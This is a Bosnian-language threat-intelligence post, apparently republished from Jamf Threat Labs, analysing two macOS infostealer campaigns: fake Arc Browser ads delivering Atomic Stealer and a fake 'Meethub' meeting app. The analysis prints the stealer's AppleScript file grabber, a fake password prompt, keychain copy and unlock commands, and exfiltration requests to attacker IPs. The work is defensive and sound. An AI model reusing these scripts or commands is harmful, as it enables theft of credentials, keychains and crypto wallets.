More

    Infokradljivci i dalje predstavljaju prijetnju korisnicima macOS-a

    Uvod

    Tokom protekle godine, okruženje macOS-a bilo je pod stalnim napadima kradljivaca informacija. Mnogi od ovih kradljivaca ciljaju pojedince uključene u kripto industriju s fokusom na prikupljanje kredencijala zajedno s podacima iz različitih kripto novčanika. Jamf Threat Labs je uočio kreativnu evoluciju u strategijama i taktikama koje ovi napadači koriste za ciljanje korisnika i krađu njihovih podataka.

    Threat Labs je pratila dva nedavna napada koja su rezultovala bacanjem takvih kradljivaca na sisteme žrtava.

    Tekući napadi

    Attack 1 – Atomic Stealer se širi putem sponzorisanih oglasa

    Dok smo tražili “Arc Browser” na Google-u, skrenuli smo pažnju da vas praćenje sponzorisanog rezultata za ono što se čini da je legitimni Arc web pretraživač, zapravo dovodi do zlonamjerne stranice aricl[.]net koja imitira legitimni arc.net.

    Nismo bili jedini koji su primijetili ovu neobičnost. Korisnici na Redditu također su došli do istog nalaza. Zanimljivo je da se zlonamjernoj web stranici ne može pristupiti direktno, jer vraća grešku. Može mu se pristupiti samo putem generisane sponzorisane veze, vjerovatno da bi se izbjeglo otkrivanje.

    Ispod je slika zlonamjerne aricl[.]net stranice na kojoj je žrtva preuzela zlonamjernu aplikaciju. U nekim slučajevima, sponzorisani link bi nas takođe usmjerio na identičnu zlonamjernu web stranicu na adresi airci[.]net.

    DMG je potpisan ad-hoc i daje upute za desni klik na aplikaciju i odabir otvaranja čime se poništavaju sva upozorenja Gatekeeper-a.

    Slično prethodnim varijantama Atomic stealer-a, sadrži minimalne nizove jer je većina njih kodirana xor kako bi se izbjegla detekcija što je uobičajena tehnika za izbjegavanje statičkih potpisa.

    Ova varijanta Atomic stealer-a će pozvati funkciju pod nazivom bewta(), koja de-xorira različite bajtove pomoću tvrdo kodiranog xor ključa 0x91. Poziv funkcije system() se tada poziva za pokretanje AppleScript korisnog učitavanja koji se koristi za krađu informacija. Neke od drugih funkcija koje se koriste za krađu imovine navedene su u nastavku:

    10000e146 task_first()
    10000e14b task2()
    10000e150 task3()
    10000e155 task4()
    10000e15a task5()
    10000e15f task6()

    Za izbacivanje lozinki običnog teksta iz keychaina potrebna je korisnička lozinka za macOS. Programeri Infostealer-a odavno su shvatili da je najlakši način da dobijete ovu lozinku jednostavno zatražiti od korisnika. Vidimo prompt generisan pozivom na AppleScript.

    De-xoriranje cijelog izvršnog fajla će otkriti mnoge nizove koji se odnose na mogućnosti kradljivaca, kao što je sljedeća AppleScript naredba.

    “osascript”,
    “-e”, “set baseFolderPath to (path to home folder as text) & \”951540712\””,
    “-e”, “set fileGrabberFolderPath to (path to home folder as text) & \”951540712:FileGrabber:\””,
    “-e”, “tell application \”Finder\””,
    “-e”, “set username to short user name of (system info)”,
    “-e”, “try”,
    “-e”, “if not (exists folder fileGrabberFolderPath) then”,
    “-e”, “make new folder at folder baseFolderPath with properties {name:\”FileGrabber\”}”,
    “-e”, “end if”,
    “-e”, “set safariFolder to ((path to library folder from user domain as text) & \”Containers:com.apple.Safari:Data:Library:Cookies:\”)”,
    “-e”, “try”,
    “-e”, “duplicate file \”Cookies.binarycookies\” of folder safariFolder to folder baseFolderPath with replacing”,
    “-e”, “end try”,
    “-e”, “set homePath to path to home folder as string”,
    “-e”, “set sourceFilePath to homePath & \”Library:Group Containers:group.com.apple.notes:\””,
    “-e”, “try”,
    “-e”, “duplicate file \”NoteStore.sqlite\” of folder sourceFilePath to folder baseFolderPath with replacing”,
    “-e”, “duplicate file \”NoteStore.sqlite-shm\” of folder sourceFilePath to folder baseFolderPath with replacing”,
    “-e”, “duplicate file \”NoteStore.sqlite-wal\” of folder sourceFilePath to folder baseFolderPath with replacing”,
    “-e”, “end try”,
    “-e”, “set extensionsList to {\”txt\”, \”docx\”, \”rtf\”, \”doc\”, \”wallet\”, \”keys\”, \”key\”}”,
    “-e”, “set desktopFiles to every file of desktop”,
    “-e”, “set documentsFiles to every file of folder \”Documents\” of (path to home folder)”,
    “-e”, “repeat with aFile in (desktopFiles & documentsFiles)”,
    “-e”, “set fileExtension to name extension of aFile”,
    “-e”, “if fileExtension is in extensionsList then”,
    “-e”, “set fileSize to size of aFile”,
    “-e”, “if fileSize ≤ 51200 then”,
    “-e”, “duplicate aFile to folder fileGrabberFolderPath with replacing”,
    “-e”, “end if”,
    “-e”, “end if”,
    “-e”, “end repeat”,
    “-e”, “end try”,
    “-e”, “end tell”

    Većina ponašanja za Atomic stealer je već dobro dokumentovana i ovdje nismo primijetili nikakve značajne promjene. Neke od datoteka prikupljenih za eksfiltraciju prikazane su ispod iz relativno svježe instalacije macOS-a.

    2008465714
    ├── Chromium
    │ └── Chrome
    │ ├── Autofill0
    │ ├── Cookies3
    │ └── Password1
    ├── Cookies.binarycookies
    ├── FileGrabber
    ├── NoteStore.sqlite
    ├── NoteStore.sqlite-shm
    ├── NoteStore.sqlite-wal
    ├── Sysinfo.txt
    ├── Wallets
    │ └── Exodus
    │ ├── passphrase.json
    │ ├── seed.seco
    │ └── storage.seco
    ├── login-keychain
    └── password-entered

    Na kraju, malver će poslati POST zahtjev preko HTTP-a serveru napadača koji sadrži base64 kodiranu zip datoteku eksfiltriranih podataka u tijelu zahtjeva.

    Hypertext Transfer Protocol
    POST /joinsystem HTTP/1.1\r\n
    Host: 193.233.132.188\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 481728\r\n
    Connection: close\r\n
    \r\n
    [Full request URI: http://193.233.132[.]188/joinsystem]
    File Data: 481728 bytes
    HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: “BuildID” = “2”
    Form item: “user” = “Vulkan3000”
    [truncated]Form item: “B64” = “UEsDBAoAAAAAAHZGfFgAAAAAAAAAAAAAAAALABAAMjAwODQ2NTcxNC9VWAwAEJIFZhCSBWb1ARQAUEsDBBQACAAIAAB9T1gAAAAAAAAAAAAAAAAfABAAMjAwODQ2NTcxNC9Ob3RlU3RvcmUuc3FsaXRlLXdhbFVYDADPoM5lz6DOZfUBFADsnQlgFEX2_3uO7kxf9XIfQ0ICJNy
    Form item: “cl” = “0”
    Form item: “cn” = “0”

    Napad 2 – Meethub

    Jamf Threat Labs je takođe obaviješten o još jednom napadu koji je u toku nakon što je posmatrao pokušaj izvršenja nepotpisane izvršne datoteke koja je imala poznati loš hash na sljedećoj putanji:

    /Applications/Meethub.app/Contents/MacOS/sleve

    Naziv aplikacije i činjenica da je nepotpisana opravdavali su upit. Postalo je jasno da je kopanje po ovoj aplikaciji bilo vrijedno truda kada je otkriveno da naziv aplikacije ne odgovara nazivu izvršne datoteke. Iako operativni sistem ne zahteva da se ime aplikacije i ime izvršne datoteke podudaraju, takvo nepodudaranje je neuobičajeno. Dalja istraga dovela nas je do web stranice meethub[.]gg.

    Meethub je, kao organizacija, povezan sa uvjerljivim medijskim prisustvom na Telegramu i Medium-u. Najznačajnije od njegovih poznatih pojavljivanja na internetu je na X-u, gdje je prikupio više od osam hiljada pratilaca (vjerovatno mješavina botova i korisnika), od kojih su mnogi na svom profilu naznačili interesovanje za kriptovalute.

    Žrtve su prijavile direktne poruke prevaranta koji se predstavljaju kao bezopasne osobe u nadi da će zakazati sastanak. U jednom slučaju, da razgovaraju o snimanju podcasta sa žrtvom, a u drugom da razgovaraju o mogućnosti za posao. Oba profila su pokazala veliku uključenost u Crypto i Blockchain.

    Nakon što je kontaktirao, napadač je zatražio korištenje Meethub-a kao softvera za virtuelni sastanak za poziv. Ako pregledate web stranicu Meethub i odaberete “Probajte besplatno”, prikazat će vam se linkovi za Windows i macOS verzije. Nakon odabira macOS-a, preuzima se nepotpisani pkg od 51 megabajta ( 7f22760d6d85f8173292d39ea087f35695ad65ab). Nakon odabira preuzimanja, web stranica pruža bilješku o tome kako zaobići sve upite Gatekeeper-a na koje možete naići.

    Na prvi pogled vidimo da preuzeta aplikacija podržava samo Intel arhitekturu.

    >> file /Applications/MeetHub.app/Contents/MacOS/sleve

    /Applications/MeetHub.app/Contents/MacOS/sleve: Mach-O 64-bit executable x86_64

    Ovo je ili zanimljiv izbor ili previd na strani autora zlonamjernog softvera. Da bi aplikacija uspješno radila na novijoj ARM arhitekturi, Rosetta mora biti prvo instalirana. U slučaju da nije, aplikacija se neće moći otvoriti nakon instalacije i korisnik je mora otvoriti ručno. Zatim moraju slijediti uputstva za instalaciju Rosette.

    Glavni binarni program aplikacije na Meethub.app/Contents/MacOS/sleve ( 3865636ed27ae81f146ed5b9ac9a25f53a6d10a7) počinje svoj rad tako što prvo izvršava niz naredbi za recon kao što su unamesw_versioreg.

    Poput uzorka Atomic stealer-a koji je gore seciran, ovaj kradljivac također traži od korisnika njihovu lozinku za prijavu na macOS koristeći sljedeći AppleScript poziv.

    “osascript”,”-e”,”display dialog \”The launcher need permissions to enable background auto-updates.\n\nPlease enter your password.\” with title \”Auto-Updates System\” default answer \”\” with icon caution buttons {\”Continue\”} default button \”Continue\” with hidden answer”

    Malver će nastaviti generisati ovaj upit sve dok se ne unese ispravna lozinka. Zatim kopira korisnikov keychain sljedećom naredbom:

    cp ~/Library/Keychains ~/Documents/data/Keychain/kc.db

    Infostealer tada izbacuje sve što može iz keychaina tako što se ubacuje u sigurnosnu komandu.

    security unlock-keychain -p /Users//Library/Keychains/login.keychain-db

    Nakon otključavanja keychaina korisničkom lozinkom, alat za razbijanje lanaca otvorenog koda se zatim izvršava kako bi prikupio lozinke s otključanog keychaina. Alat za razbijanje lanca ( 50b8af2019adbbea310bce0259b4a3f3da2e4d7d) je u paketu unutar aplikacije i pohranjen naMeetHub.app/Contents/Resources/extensions/installer.

    Ostale podržane akcije kradljivaca uključuju:

    • prikupljanje korisničkih imena i lozinki iz podataka za prijavu u pretraživač
    • mogućnost preuzimanja podataka o kreditnoj kartici
    • krađu podataka sa liste instaliranih kripto novčanika, među kojima su Ledger i Trezor

    Kako dođe do svakog koraka infostealer-a, malver šalje ažuriranje na IP adresu 46.101.104[.]172, kako bi pratio trenutnu fazu kompromitacije sistema.

    POST /metrics

    1. Content-Disposition: form-data; name=”metric” Opened build
    2. Content-Disposition: form-data; name=”metric” Checking vm
      POST /opened
    3. Content-Disposition: form-data; name=”uid”
      Content-Disposition: form-data; name=”buildName” Test
      Content-Disposition: form-data; name=”buildVersion” 2.0.0-test
      POST /metrics
    4. Content-Disposition: form-data; name=”username” yuzokano
      Content-Disposition: form-data; name=”metric” Try to access keychain
    5. Content-Disposition: form-data; name=”metric” Opened ask-password window
    6. Content-Disposition: form-data; name=”metric” Get password: foobar
    7. Content-Disposition: form-data; name=”metric” Getting brows data
    8. Content-Disposition: form-data; name=”metric” Got brow data and getting geo
    9. Content-Disposition: form-data; name=”metric” IP: 00.00.00.00
    10. Content-Disposition: form-data; name=”metric” OS data:.User: yuzokano.OS:
      Macos Sonoma(14.3.0) X64
    11. Content-Disposition: form-data; name=”metric” Start zipping
    12. Content-Disposition: form-data; name=”metric” Zipped
    13. Content-Disposition: form-data; name=”metric” Start sending data
      POST /new_analytics
    14. name=”archive”
      filename=”/Users/yuzokano/Documents/data.zip”
      POST /metrics
    15. Content-Disposition: form-data; name=”metric” Main process is done
    16. Content-Disposition: form-data; name=”metric” Removing temp files…

    Zanimljivo je da smo primijetili ponašanje oko Ledger novčanika gdje će malver pokušati da preuzme i ubaci kod u verziju Ledgera.

    POST /metrics

    1. Content-Disposition: form-data; name=”metric” Found Ledger, try to inject
    2. Content-Disposition: form-data; name=”metric” Download new ledger
    3. Content-Disposition: form-data; name=”metric” Deleted old ledger
    4. Content-Disposition: form-data; name=”metric” Remove quarantine from new ledger
    5. Content-Disposition: form-data; name=”metric” Success ledger
    6. Content-Disposition: form-data; name=”metric” Opening ledger

    Međutim, čini se da je Ledger identifikovao i blokirao ovu radnju.

    Iako nije potvrđeno da su u direktnoj vezi, postoji niz zanimljivih sličnosti između ovog kradljivca i kradljivca koji je originalno dokumentiran kao Realst kradljivac. Oboje dijele pregršt karakteristika, kao što je odabrani jezik Rusta za glavnu izvršnu datoteku, korištenje chainbreaker-a i činjenica da se chainbreaker machO hash može vidjeti unutar brojnih pkg-ova sličnih video igricama – pristup koji koristi Realst — koje su otpremljene na VirusTotal i identifikovane kao zlonamjerne.

    Zaključak

    Napadi o kojima se raspravlja u ovom postu na blogu su dva od mnogih različitih napada infostealer-a koji su uočeni na korisnike macOS-a u protekloj godini. Kao što je rečeno, ovi napadi su često fokusirani na one u kripto industriji jer takvi napori mogu dovesti do velikih isplata za napadače. Oni u industriji trebali bi biti hipersvjesni da je često lako pronaći javnu informaciju da su vlasnici imovine ili da se lako mogu povezati s kompanijom koja ih stavlja u ovu industriju. Mnogi od nas rade pod lažnom pretpostavkom da su prevaranti naišli slučajno radije nego da direktno dopru do svojih žrtava.

    Ovo nije slučaj.

    Društveni inženjering radi kripto dobiti rade i APT grupe i sajber kriminalci. Izgradnja odnosa prije infiltracije se češće dešava na macOS platformi. Korisnici moraju ostati oprezni i na oprezu za ove vrste napada.

    IoCs

    Arc Browser Executables:
    9d103cbad2b56f53a36f93316feda1de5513394d – ArcSetup.dmg
    ba59bb35e8dfbe77676c8130c8c2d61c22b14564 – ArcSetup (Universal Binary)
    d294b86c5aa7e90ff1f7367eb9fdad8d47193f22 – ArcSetup (x86)
    af33c2bc39371a5667b65c38a62919c59f5ad084 – ArcSetup (ARM)

    56871908b00a1efa1d3671d0b03b8f69da6d534a – ArcInstaller.dmg
    28e35f4d92f3a0bf85fdffeb5b695119de823548 – ArcInstaller (Universal Binary)
    28cc0be3aad1479c4d4ba616be6462a2c5c7ac18 – ArcInstaller (x86)
    0ac59146723d72b2faad6a637cdd9fb2a6221f7e – ArcInstaller (ARM)

    https://aricl[.]net
    https://airci[.]net
    193[.]233[.]132[.]188 – Exfiltration IP

    MeetHub Executables:
    7f22760d6d85f8173292d39ea087f35695ad65ab – MeetHub.pkg
    3865636ed27ae81f146ed5b9ac9a25f53a6d10a7 – sleve (x86)

    Chainbreaker Executables:
    50b8af2019adbbea310bce0259b4a3f3da2e4d7d – game/installer (Universal Binary)
    eecf5ffc338b97602b5b8f8ab8ccc51dcb8ffd8a – game/installer (ARM)
    596fd483314c3cce43d8b5ed38b5202c29a60b14 – game/installer (x86)

    https://meethub[.]gg
    46[.]101[.]104[.]172 – Exfiltration IP

    Izvor: Jamf Threat Labs

    Recent Articles

    spot_img

    Related Stories